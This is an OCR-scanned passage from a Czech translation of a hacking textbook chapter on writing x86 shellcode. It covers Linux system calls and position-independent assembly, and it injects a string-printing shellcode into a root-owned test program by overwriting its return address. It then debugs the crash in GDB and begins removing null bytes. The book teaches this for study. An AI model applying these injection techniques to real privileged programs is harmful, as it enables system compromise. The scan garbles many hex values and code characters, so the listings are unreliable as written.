0x500

SHELLKOD

Shellkdd, ktery jsme az doposud pouzivali v nasich exploitech, byl pouhy fetézec zkopirovanych
a vloZenych bajtii. Vidéli jste standardni shellkod plodici shell pro lokalni exploity a shellkod
navazujici se na port pro vzdalené exploity. Shellkodu se také nékdy fika exploita¢ni granat,
protoze se jedna o sobéstacné programy, které vykonaji svou praci, jakmile se nabourate do
programu. Shellkod obvykle zplodi shell, protoze to je velmi elegantni zpisob, jak prehrat fi-
zeni na nékoho jiného. Mize ovSem délat i néco uplné jiného, cokoliv, co programy dovedou.

Pro mnoho hackert ov§em piibéh o shellkédu kon¢i u kopirovani a vkladani bajtd. Bohuzel. Ta-
kovi hacketi smocili pouze palec v moti mozného. Vlastni shellkdéd dava absolutni kontrolu nad
exploitovanym programem. Mozna chcete, aby vas shellkéd pridal administratorsky tcet do /etc/
passwd, nebo aby automaticky odstranoval fadky z protokolovacich soubort. Jakmile vite, jak na-
psat vlastni shellkdd, jsou vase exploitacni moznosti limitovany pouze vasi predstavivosti. A navic
- kdyz pisete shellkody, rozvijite své dovednosti tykajici se jazyka assembler a osvojujete si fadu
hackerskych technik, které opravdu stoji za to umét.

0x510 Assembler versus C

Bajty shellkodu jsou ve skute¢nosti strojové instrukce, které jsou specifické pro danou architekturu,
protoze se shellkod piSe v assembleru. Psat program v assembleru je néco jiného, nez kdy?z se pise
program v C, mnohé principy jsou ov§em podobné. Véci, jako jsou vstup, vystup, fizeni procest,
pristup k souborim a komunikace po siti, jsou operaénim systémem spravovany v kernelu. Zkom-
pilované programy C pak provadéji tyto dlohy tak, Ze ¢ini systémova voldni do kernelu. Rizné
operaéni systémy maji rizné sady systémovych volani.

V C se kviili pohodli a pfenositelnosti pouzivaji standardni knihovny. Program v jazyku C, ktery
pro vystup Fetézce pouziva printf (), je mozné zkompilovat pro mnoho raznych systémt, protoze
knihovna znd patfi¢na systémova volani pro jednotlivé architektury. Program C, ktery byl zkompi-
lovén na procesoru x86, vyprodukuje kod assembleru pro procesor x86.
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Jazyk assembler je uz ze své definice specificky ke konkrétni procesorové architekture, takze pre-
nositelnost neni mozna. Nejsou zde Zadné standardni knihovny; systémova volani do kernelu se
museji ¢init pfimo. Abychom si oboji mohli porovnat nazorné, za¢neme jednoduchym programem
C, ktery poté prepiseme do assembleru x86.

helloworld.c

#include <stdio.h>

int main() {
printf("Hello, world!\n");
return 0;

}

Jakmile zkompilovany program pobézi, vykonavani protece standardni knihovnou I/O a u¢ini se
systémové volani, aby se na obrazovku vypsal fetézec "Hello, world!". Systémova volani programu
se daji sledovat programem strace. Pokud ho budeme aplikovat na zkompilovany program hello-
world.c, zobrazi vSechna systémova volani, kterd program ucinil.

reader@hacking:~/booksrc $ gcc helloworld.c
reader@hacking:~/booksrc $ strace ./a.out
execve("./a.out", ["./a.out"], [/* 27 vars */]1) =0
brk(0) = 0x8042000
access("/etc/1ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2 (NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,

-1, 0) = 0xb7ef6000
access("/etc/ld.so.preload", R_OK) -1 ENOENT (No such file or directory)
open("/etc/1d.so.cache", O _RDONLY) = 3

fstat64(3, {st_mode=S_IFREG|0644, st _size=61323, ...}) =0

mmap2 (NULL, 61323, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ee7000

close(3) =0

access("/etc/1d.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)

open("/1ib/tls/i686/cmov/1ibc.so.6", O_RDONLY) = 3

read(3, "\177ELF\I\1\I\0\0\O\0\O\0\O\O\O\3\0\3\0\1\0\O\0O\20Z\1\000"..., 512)
= 512

fstat64(3, {st_mode=S_IFREG|0755, st_size=1248904, ...}) =0

mmap2 (NULL, 1258876, PROT_READ|PROT_EXEC, MAP_PRIVATE|
MAP_DENYWRITE, 3, 0) = 0xb7db3000

mmap2 (0xb7ee®000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|
MAP_DENYWRITE, 3, 0x12c) = Oxb7ee0000

mmap2 (0xb7ee4000, 9596, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED]|
MAP_ANONYMOUS, -1, 0) = 0xb7ee4000

close(3) =0

mmap2 (NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|
MAP_ANONYMOUS, -1, 0) = 0xb7db2000
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set_thread_area({entry_number:-1 -> 6, base_addr:0xb7db26b0, 1imit:1048575,
seg _32bit:1,contents:0, read_exec_only:0, limit_in_pages:1, seg not_
present:0, useable:1}) = 0

mprotect (0xb7ee@000, 8192, PROT_READ) =0
munmap (Oxb7ee7000, 61323) =0
fstat64(l, {st_mode=S_IFCHR|0620, st rdev=makedev (136, 2), ...}) =0

mmap2 (NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
Oxb7ef5000

write(l, "Hello, world!\n", 13Hello, world! ) = 13

exit_group(Q) = ?

Process 11528 detached

reader@hacking:~/booksrc $

Jak sami vidite, zkompilovany program déla celou fadu véci, nikoliv pouze to, Ze vytiskne retézec.
Systémova volani na zac¢atku pfipravuji prostfedi a pamét pro program. Pov§imnéte si dtilezité ¢ds-
ti, kterou je systémové volani write () zvyraznéné tu¢né. Tam se skute¢né vypise fetézec
Manudlové stranky Unixu, ke kterym se pfistupuje prostfednictvim ptikazu man, jsou rozdéleny
do jednotlivych sekci. Sekce 2 obsahuje manualovou stranku pro systémova volani, takze pokud
zadate ptikaz man 2 write, dozvite se, jakym zptisobem se pouziva systémové volani write():

Manualova stranka pro systémové volani write()

WRITE(2) Linux Programmer's Manual
WRITE(2)

NAZEV
write - zapisuje do deskriptoru souboru

SYNOPSE
#include <unistd.h>

ssize_t write(int fd, const void *buf, size_t count);

POPIS
write() zapise az count bajtl do souboru, na ktery se odkazuje
deskriptorem fd, z bufferu, jenz zacina na buf. POSIX poZaduje, aby
read(), k némuz mlZze dojit po write(), vrdtil nova data. Pripominame,
Ze vSechny souborové systémy nejsou v souladu s POSIX.

Vystup z programu strace rovnéz ukdze argumenty systémového voldni. Argumenty buf a count
jsou ukazatele na nas$ retézec a jeho délka. Argument fd, 1, je specidlni standardni souborovy de-
skriptor. V Unixu se souborové deskriptory pouzivaji pro témét vSechno: vstup, vystup, pristup
k souboru, sitové sockety atd. Souborovy deskriptor lze pfirovnat k situaci, kdy davate kabat do
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Cistirny, protoze dostanete listek s ¢islem. A pomoci tohoto ¢isla se poté muzete odkazovat na sviij
kabat. Prvni tfi ¢isla souborovych deskriptort (0, 1, 2) se automaticky pouzivaji pro standardni
vstup, vystup a vystup chyb. Tyto hodnoty jsou standardni a jsou definovény na nékolika mistech,
naptiklad v souboru /usr/include/unistd.h:

Vynatek z /usr/include/unistd.h

/* Standardni souborové deskriptory. */

#define STDIN_FILENO © /* Standardni vstup. */
#define STDOUT_FILENO 1 /* Standardni vystup. */
#define STDERR_FILENO 2 /* Standardni vystup chyb. */

Zapisovani bajtti na souborovy deskriptor 1 standardniho vystupu znamena, Ze se bajty vytisknou;
¢teni ze souborového deskriptoru 0 standardniho vstupu znamend, Ze se bajty nactou. Se soubo-
rovym deskriptorem 2 standardniho vystupu chyb se zobrazuji chyby nebo ladici zpravy, aby byly
oddéleny od standardniho vystupu.

0x511  Linuxovd systémovd voldni v assembleru

Kazdé mozné systémové volani ma v Linuxu pfifazené ¢islo, takze pokud v assembleru potiebujete
vykonat néjaké volani, Ize se na néj odkazat prosttednictvim ¢isla. Cisla systémovych volani jsou
uvedena v souboru /usr/include/asm-i386/unistd.h.

Vynatek z /usr/include/asm-i386/unistd.h

#ifndef ASM_I386 UNISTD H_
#define _ASM_I386 UNISTD H_

/*
* Tento soubor obsahuje ¢isla systémovych volani.

*/

#define _ NR restart _syscall ©

#define _ NR_exit 1
#define _ NR_fork 2
#define _ NR_read 3
#define _ _NR_write 4
#define _ NR_open 5
#define _ NR_close 6
#define _ NR waitpid 7
#define _ NR creat 8
#define _ NR_link 9
#define _ NR_unlink 10
#define _ NR_execve 11
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Abychom prepsali soubor helloworld.c do assembleru, budeme muset uéinit jedno systémové
volani funkce write () pro vystup a druhym zavolat exit (), aby proces hladce skon¢il. V assem-
bleru x86 se to zafidi pouze dvéma assemblerovymi instrukcemi: mov a int.

Assemblerové instrukce pro procesor x86 maji jeden, dva, tfi, nebo zadny operand. Operandy in-
strukce mohou byt ¢iselné hodnoty, pamétové adresy, nebo procesorové registry. Procesor x86 ma
nékolik 32bitovych registri, na které Ize pohlizet jako na hardwarové proménné. Registry EAX,

EBX, ECX, EDX, ESI, EDI, EBP a ESP se daji pouzit jako operandy, registr EIP nikoliv.

Instrukce mov kopiruje hodnotu mezi svymi dvéma operandy. V assemblerové syntaxi Intel je prv-
ni operand cil, druhy operand je zdroj. Instrukce int odesle do kernelu prerusovaci signdl, ktery je
definovan jejim jedinym operandem. V kernelu Linuxu se pferu$enim 0x80 rika, aby u¢inil néjaké
systémové volani. Kdyz se vykonava instrukce int 0x80, kernel u¢ini systémové volani na zakladé
prvnich ¢yt registra. Registr EAX specifikuje, o které systémové volani jde, zatimco registry EBX,
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ECX a EDX jsou pouzity pro prvni, druhy a tfeti argument daného systémového volani. Vsechny
tyto registry se daji nastavit instrukei mov.

V nize uvedeném vypisu kodu assembleru se deklaruji pamétové segmenty. Retézec "Hello, world!"
se znakem pro novy radek (newline, 0x0a) je umistén v segmentu data, skute¢né assemblerové
instrukce jsou v segmentu text. Tim jsou dodrzeny rddné praktiky pti segmentaci paméti.

helloworld.asm

section .data ; Segment data

msg db "Hello, world!", Ox0a ; Retézec a znak pro novy radek, newline
section .text ; Segment text

global _start ; Vychozi vstupni bod pro linker ELF

_start:

; SYSCALL: write(l, msg, 14)

mov eax, 4 ; DA 4 ido eax, protoze write je systémové volani ¢. 4.
mov ebx, 1 ; Da 1 do ebx, protoZze standardni vystup je 1.
mov ecx, msg ; Da adresu retézce do ecx.

mov edx, 14 ; Da 14 do edx, protoze retézec ma 14 bajtd.

int 0x80 ; Zavola kernel, aby ucinil systémové volani.

; SYSCALL: exit(0)

mov eax, 1 ; Da 1 do eax, protoze exit je systémové volani ¢. 1.
mov ebx, 0O ; Exit Gspésny.
int 0x80 ; UCini systémové volani.

Instrukce programu jsou bezproblémové. Pro systémové voldni write () na standardni vystup se
do EAX umisti hodnota 4, protoZe funkce write () je systémové volani, které ma ptifazeno ¢islo
4. Poté se do EBX dd hodnota 1, protoze prvni argument funkce write() musi byt souborovy
deskriptor pro standardni vystup. Do ECX se d4 adresa fetézce v segmentu data a do EDX délka
fetézce (v tomto pripadé 14 bajtt). Poté, co se tyto registry nactou, spusti se preruseni (interrupt),
které zavola funkci write ().

Aby program skon¢il hladce, je tfeba zavolat funkci exit () s jedinym argumentem 0. Do registru
EAX se tedy vlozi hodnota 1, protoze exit () je systémové volani s ptifazenym ¢islem 1. Do EBX
se da 0, protoze prvni a zdroven jediny argument ma byt 0. Poté se znovu spusti preruseni.

Abychom z kddu vytvotili spustitelny bindrni program, kdd assembleru musime sestavit a nalin-
kovat do spustitelného formatu. Kdyz kompilujeme kéd C, o véechno se automaticky postara kom-
pilator GCC. My se chystdme vytvorit binarni ELF (executable and linking format) soubor, takze
fadek global _start fikd linkeru (sestavovacimu programu), kde zacinaji instrukce assembleru.

Assembler nasm s argumentem -f elf sestavi helloworld.asm do objektového souboru, ktery
uz bude mozné nalinkovat (linked) jako bindrni ELF soubor. Tento objektovy soubor standardné
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dostane nazev helloworld.o. Sestavovaci program ld vyprodukuje ze sestaveného objektového
souboru spustitelny bindrni soubor a.out.

reader@hacking:~/booksrc $ nasm -f elf helloworld.asm
reader@hacking:~/booksrc $ 1d helloworld.o
reader@hacking:~/booksrc $ ./a.out

Hello, world!

reader@hacking:~/booksrc $

Ackoliv tento malinkaty programek funguje, nejedna se o shellkdd, protoze neni sobéstaény a musi
byt nalinkovan (linked).

0x520 Cesta k shellkodu

Shellkdd se doslovné injektuje do béziciho programu, kde pak funguje jako virus uvnitt bunky.
Protoze shellkdd neni opravdovy spustitelny program, nemiizeme si dovolit luxus deklarovat roz-
vrzeni dat v paméti nebo dokonce pouzivat jiné pamétové segmenty. Jeho instrukce museji byt so-
bésta¢né a pripravené tak, aby umeély rovnou prevzit kontrolu nad procesorem, bez ohledu na jeho
aktudlni stav. Obvykle se tomu fika kod nezavisly na pozici (position-independent code).

V shellkédu se museji bajty fetézce "Hello, world!" Sikovné smichat s bajty assemblerovych in-
strukci, protoze nemame dispozici pamétové segmenty, které bychom mohli definovat nebo odha-
dovat. To piijde, pokud se ov§em EIP nepokusi interpretovat fetézec jako instrukce. Pokud budete
chtit pristoupit k retézci jako k dattim, budete pottebovat néjaky ukazatel na tento fetézec. Kdyz
se shellkod za¢ne vykonavat, mutze byt v paméti kdekoliv, takze jeho absolutni adresa v paméti se
musi vypocitat relativné vzhledem k EIP. Protoze k EIP neni mozné ptistupovat z assemblerovych
instrukei, musime se uchylit k néjakému triku.

0x521  Assemblerové instrukce pouZivajici zdsobnik

Zasobnik je natolik integralni soucdsti architektury x86, zZe pro praci s nim existuje nékolik speci-
alnich instrukci, viz nésledujici tabulka.

Instrukce Popis

push <source> Stréi operand source do zdsobniku.

pop <target> Vytdhne hodnotu ze zdsobniku a uloZi ji v operandu target.

call <location > | Zavold néjakou funkci a vykondvdni odsko¢i na adresu uvedenou v operandu
location. Umisténi maze byt relativni i absolutni. Adresa instrukce ndsledujici
za voldnim se uloZi do zdsobniku, takZe vykondvdni se muze pozdéji vrdtit.

ret Ndvrat z funkce. Viytdhne ndvratovou adresu ze zdsobniku a vykondvdni skoci
nani.
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Exploity zaloZené na zasobniku se uskute¢nuji prostfednictvim instrukci call a ret. Kdyz se za-
vola néjaka funkce, stréi se do zasobniku névratovd adresa pristi instrukce. Kdyz funkce skoni,
instrukce ret vytahne navratovou adresu ze zasobniku a EIP sko¢i zpét. Pokud prepiSeme navrato-
vou adresu uloZenou na zasobniku jesté pfed vykondnim instrukce ret, mizeme prevzit kontrolu
nad vykonavanim programu.

Tato architektura muiZze byt zneuzita jesté jednim zptisobem pro vyreseni problému s adresovanim
radkovych (inline) dat fetézce. Pokud je retézec umistén ihned za instrukei call, adresa retézce
bude stréena do zdsobniku jako navratova adresa. Takze misto toho, abychom zavolali funkci, rov-
nou skoc¢ime za fetézec k instrukei pop, ktera vytahne adresu ze zasobniku a da ji do registru. Tuto
techniku predvadéji nasledujici assemblerové instrukee.

helloworld1.s

BITS 32 ; Rikd nasm, Ze se jedna o 32bitovy kod.
call mark_below ; Zavola instrukce nachazejici se pod retézcem
db "Hello, world!", 0x@a, 0x0d ; s bajty newline a carriage return.

mark_below:
ssize_t write(int fd, const void *buf, size_t count);

pop ecx ; Vytahne navratovou adresu (string ptr) do ecx.
mov eax, 4 ; ZapiSe Cislo systémového volani

mov ebx, 1 ; Deskriptor souboru pro STDOUT

mov edx, 15 ; Délka fetézce

int Ox80 ; UCini systémové volani: write(l, string, 14)

void _exit(int status);

mov eax, 1 ; Cislo systémového volani exit
mov ebx, 0O ; Stav = 0
int Ox80 ; UCini systémové volani: exit(0)

Instrukce call sko¢i s vykonavanim pod fetézec. Zaroven také stréi adresu pristi instrukce do za-
sobniku. Touto pristi instrukei je v nagem pripadé zacatek fetézce. Navratovou adresu lze okamzité
ze zasobniku vytdhnout do pfihodného registru. Nepouzili jsme zadné pamétové segmenty, pouze
surové instrukce, které se, kdyz je injektujeme do existujictho procesu, vykonaji zcela nezavisle na
své pozici. To znamend, ze kdyz jsou tyto instrukce sestaveny (assembled), nemohou byt nalinko-
vany (linked) do spustitelného programu.

reader@hacking:~/booksrc $ nasm helloworldl.s

reader@hacking:~/booksrc $ 1s -1 helloworldl

-rw-r--r-- 1 reader reader 50 2007-10-26 08:30 helloworldl
reader@hacking:~/booksrc $ hexdump -C helloworldl

00000000 e8 Of 0O OO0 00 48 65 6Cc 6C 6T 2C 20 77 6f 72 6C |..... Hello, worl]
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00000010 64 21 Oa Od 59 b8 04 00 00 00 bb 01 00 00 00 ba |d!..Y........... |
00000020 O0f 00 00 00 cd 80 b8 01 0O 00 00 bb 00 00 00 00 |................ |
00000030 cd 80 |..|

00000032

reader@hacking:~/booksrc $ ndisasm -b32 helloworldl

00000000 E8OFOOOOOO call Ox14

00000005 48 dec eax

00000006 656C gs insb

00000008 6C insb

00000009 6F outsd

0000000A 2C20 sub al,0x20
0000000C 776F ja 0x7d

0000000E 726C jc Ox7c

00000010 64210A and [fs:edx],ecx
00000013 OD59B80400 or eax,0x4b859
00000018 0000 add [eax],al

Q000001A BBO1OOOOOO mov ebx,0x1
Q000001F BAOFOOOOOO mov edx,Oxf
00000024 CD8O int 0x80
00000026 B8010OOOOO mov eax,0Oxl
0000002B BBOOOOOOOO mov ebx,0x0
00000030 CD8O i nt Ox80
reader@hacking:~/booksrc $

Assembler nasm konvertuje kdd assembleru do strojového kédu a odpovidajici nastroj ndisasm
prevadi strojovy kod do kodu assembleru. Oba nastroje jsme pouzili vyse, abychom ukazali, jaky je
vztah mezi strojovym kodem a assemblerovymi instrukcemi. Disassemblované instrukce zobrazi
bajty fetézce "Hello, world!" interpretované jako instrukce.

Pokud bychom v této chvili injektovali tento shellkdd do programu a presmérovali EIP, program
vytiskne "Hello, world!". Vyzkousejme jiz znamy program notesearch jako cil tohoto exploitu.

reader@hacking:~/booksrc $ export SHELLCODE=$(cat helloworldl)
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./notesearch
SHELLCODE will be at Oxbffff9cé
reader@hacking:~/booksrc $ ./notesearch $(perl -e
print "\xc6\xfI\xff\xbf"x40")

------- [ end of note data ]-------
Segmentation fault
reader@hacking:~/booksrc $

Krach. Pro¢ myslite, Ze to selhalo? V téchto situacich se vasim nejlepsim pritelem stava GDB. Ale
i kdyZ je vim moznd jasné, co je v pozadi tohoto konkrétniho selhdni, naucite-li se efektivné praco-
vat s debuggerem, v budoucnosti budete schopni mnohem snaze fesit i jiné problémy.
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0x522 Vysetrovdni's GDB

vy

Protoze program notesearch bézi jako root, nemtizeme ho ladit jako normalni uzivatel. Nemtizeme

vy

se ovSem ani pripojit k jeho béZici kopii, protoze skon¢i velmi brzy. Programy se nastésti daji ladit
ijinak, prostfednictvim tzv. dumpu paméti, ktery je ulozen v souboru. Z vyzvy root je mozné ope-
ra¢nimu systému fici, aby pfi havarii programu provedl dump paméti. K tomu slouzi piikaz uli-
mit -c unlimited, ktery zajisti, Ze vytvorené soubory core mohou byt tak velké, jak je to potteba.
Abych to néjak shrnul - kdyZz na$ program nyni zhavaruje, na disk bude zapsan dump paméti ve
formé souboru core, ktery je ndsledné mozné prozkoumat prosttednictvim GDB.

reader@hacking:~/booksrc $ sudo su
root@hacking:/home/reader/booksrc # ulimit -c unlimited

root@hacking:/home/reader/booksrc # export SHELLCODE=$(cat helloworldl)

root@hacking:/home/reader/booksrc # ./getenvaddr SHELLCODE
SHELLCODE will be at Oxbffff9a3
root@hacking:/home/reader/booksrc # ./notesearch $(perl -e
xff\xbf"x40")

——————— [ end of note data ]-------

Segmentation fault (core dumped)
root@hacking:/home/reader/booksrc # 1s -1 ./core
“rW------- 1 root root 147456 2007-10-26 08:36 ./core
root@hacking:/home/reader/booksrc # gdb -q -c ./core

(no debugging symbols found)

./notesearch

"print "\xa3\xf9o\

Using host libthread_db library "/1ib/tls/i686/cmov/libthread_db.so.1".

Core was generated by "./notesearch

EOE £ E £ B E £ E £ £ B¢ E £ E £ £ B¢ £ E £ E £ E £ E¢£°E¢£°F.

Program terminated with signal 11, Segmentation fault.
#0 0x2c6541b7 in ?? ()

(gdb) set dis intel

(gdb) x/5i Oxbffff9a3

Oxbffff9a3: call 0x2c6541b7

Oxbffff9as: ins BYTE PTR es:[edil, [dx]
Oxbffff9a9g: outs [dx] ,DWORD PTR ds:[esi]
Oxbffff9aa: sub al,0x20

Oxbffff9ac: ja Oxbffffald

(gdb) i r eip

eip 0x2c6541b7 0x2c6541b7

(gdb) x/32xb Oxbffff9a3

Oxbffff9a3: Oxe8 Ox0f 0x48 0x65 Ox6¢C Ox6¢C Ox6f 0x2c
Oxbffffoab: 0x20 0x77 Ox6f 0x72 Ox6¢C 0x64 0x21 0x0a
Oxbffffob3: 0x0d 0x59 0xb8 0x04 Oxbb 0x01 Oxba Ox0f
Oxbffff9bb: Oxcd 0x80 Oxb8 0x01 Oxbb Oxcd 0x80 0x00

(gdb) quit
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root@hacking:/home/reader/booksrc # hexdump -C helloworldl

00000000 e8 Of 00 00 00 48 65 6Cc 6C 6f 2c 20 77 6f 72 6C |..... Hello, worl|
00000010 64 21 Oa 0d 59 b8 04 00 00 0O bb 01 00 00 00 ba [d!..Y........... |
00000020 Of 00 00 00 cd 80 b8 01 00 GO OO0 bb 60 60 00 00 |................ |
00000030 cd 80 |..|

00000032

root@hacking:/home/reader/booksrc #

Poté, co se GDB nacetl, pfepnul jsem styl disassemblovani na Intel. ProtoZe jsme GDB spustili jako
root, soubor . gdbinit se nepouzije. Nyni prozkoumame pamét, kde by se mél nachazet nas shell-
kod. Instrukce vypadaji podivné a zda se, Zze krach programu zavinila prvni nespravna instrukce
call. Ackoliv doslo k presmérovani vykonavani, stalo se poté néco $patného s bajty shellkddu. Za
normaélnich okolnosti jsou fetézce ukonceny bajtem null, ale zde byl shell natolik ochotny a laska-
vy, ze tyto bajty null odstranil za nds. Tim ov§em totalné zni¢il vyznam strojového kodu. Shellkéd
se do procesii ¢asto injektuje v podobé fetézce, pomoci funkei jako je strcpy (). Takové funkce
jednoduse koné¢i, jakmile narazi na prvni bajt null, takze dojde k tomu, Ze v paméti bude vyprodu-
kovén nekompletni a nepouZitelny shellkdod. Aby nas shellkod prezil tranzit bez thony, musime ho
trochu predélat, aby neobsahoval Zddné bajty null.

0x523  Odstranéni bajti null

Kdyz se podivame na disassemblovany vystup, je naprosto evidentni, Ze prvni bajty null pochazeji
z instrukce call.

reader@hacking:~/booksrc $ ndisasm -b32 helloworldl
00000000 E8OFOOOGGO call Ox14

00000005 48 dec eax

00000006 656C gs insb

00000008 6C insb

00000009 6F outsd

0000000A 2C20 sub al,0x20
0000000C 776F ja 0x7d

0000000E 726C jc 0x7c

00000010 64210A and [fs:edx],ecx
00000013 OD59B80400 or eax,0x4b859
00000018 0000 add [eax],al

0000001A BBO10OOOOO mov ebx,0x1
0000001F BAOFOOOOOO mov edx,Oxf
00000024 CD80 int 0x80
00000026 B8010OOOOO mov eax,0x1l
0000002B BBOOOOOOOO mov ebx,0x0
00000030 CD8O int 0Ox80
reader@hacking:~/booksrc $
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Tato instrukce na zakladé prvniho argumentu sko¢i s vykonavanim dopredu o 19 bajta (0x13).
Protoze instrukce call umoznuje odskoky i na mnohem vétsi vzdalenost, museji se malé hodnoty,
jako je 19, vyplnit vedoucimi nulami, coz vede na bajty null.

S timto je mozZné se vyporadat rizné - jedna z cest vede pies dvojkovy doplnék. Malé zdporné
¢islo bude mit své vedouci bity zapnuté, coz povede na bajty 0xf f. To znamena, Ze budeme-li volat
s vyuzitim zaporné hodnoty, abychom se s vykonavanim posunuli dozadu, strojovy kéd nebude
mit pro tuto instrukci zadné bajty null. Nasledujici revidovand verze shellkédu helloworld2.s
pouziva standardni implementaci této finty — sko¢i na konec shellkddu k instrukei ca11, kterd poté
skoc¢i zase zpét k instrukci pop nachazejici se na zac¢atku shellkodu.

helloworld2.s

BITS 32 ; Rikd nasm, Ze se jedna o 32bitovy kod.
jmp short one ; Sko¢i doll, k volani na konci.
two:

; ssize_t write(int fd, const void *buf, size_t count);

pop ecx ; Vytahne navratovou adresu (string ptr) do ecx.
mov eax, 4 ; ZapiSe Cislo systémového volani.

mov ebx, 1 ; Souborovy deskriptor pro STDOUT.

mov edx, 15 ; Délka retézce.

int 0x80 ; UCini systémové volani: write(l, string, 14)

; void _exit(int status);

mov eax, 1 : Cislo systémového volani exit
mov ebx, 0O ; Stav = 0
int Ox80 ; UCini systémové volani: exit(0)
one:
call two ; Zavola zpét nahoru, abychom se vyvarovali bajtd null,
db "Hello, world!", 0x@a, Ox0d ; s bajty newline a carriage return.

Kdyz sestavime novy shellkdd, disassemblovany vypis ukaze, Ze instrukce call je jiz zbavena bajtt
null. A¢koliv jsme timto vytesili prvni a nejobtiznéjsi ¢ast problému s bajty null shellkédu, nasle-
dujici vypis ukazuje, Ze se v ném nachdzi jesté mnoho dal$ich bajtti null (jsou zvyraznény tu¢né).

reader@hacking:~/booksrc $ nasm helloworld2.s
reader@hacking:~/booksrc $ ndisasm -b32 helloworld2
00000000 EBLE jmp short 0x20

00000002 59 pop ecx

00000003 B8040OAAAAO mov eax,0x4

00000008 BBO10AOOOO mov ebx,0x1
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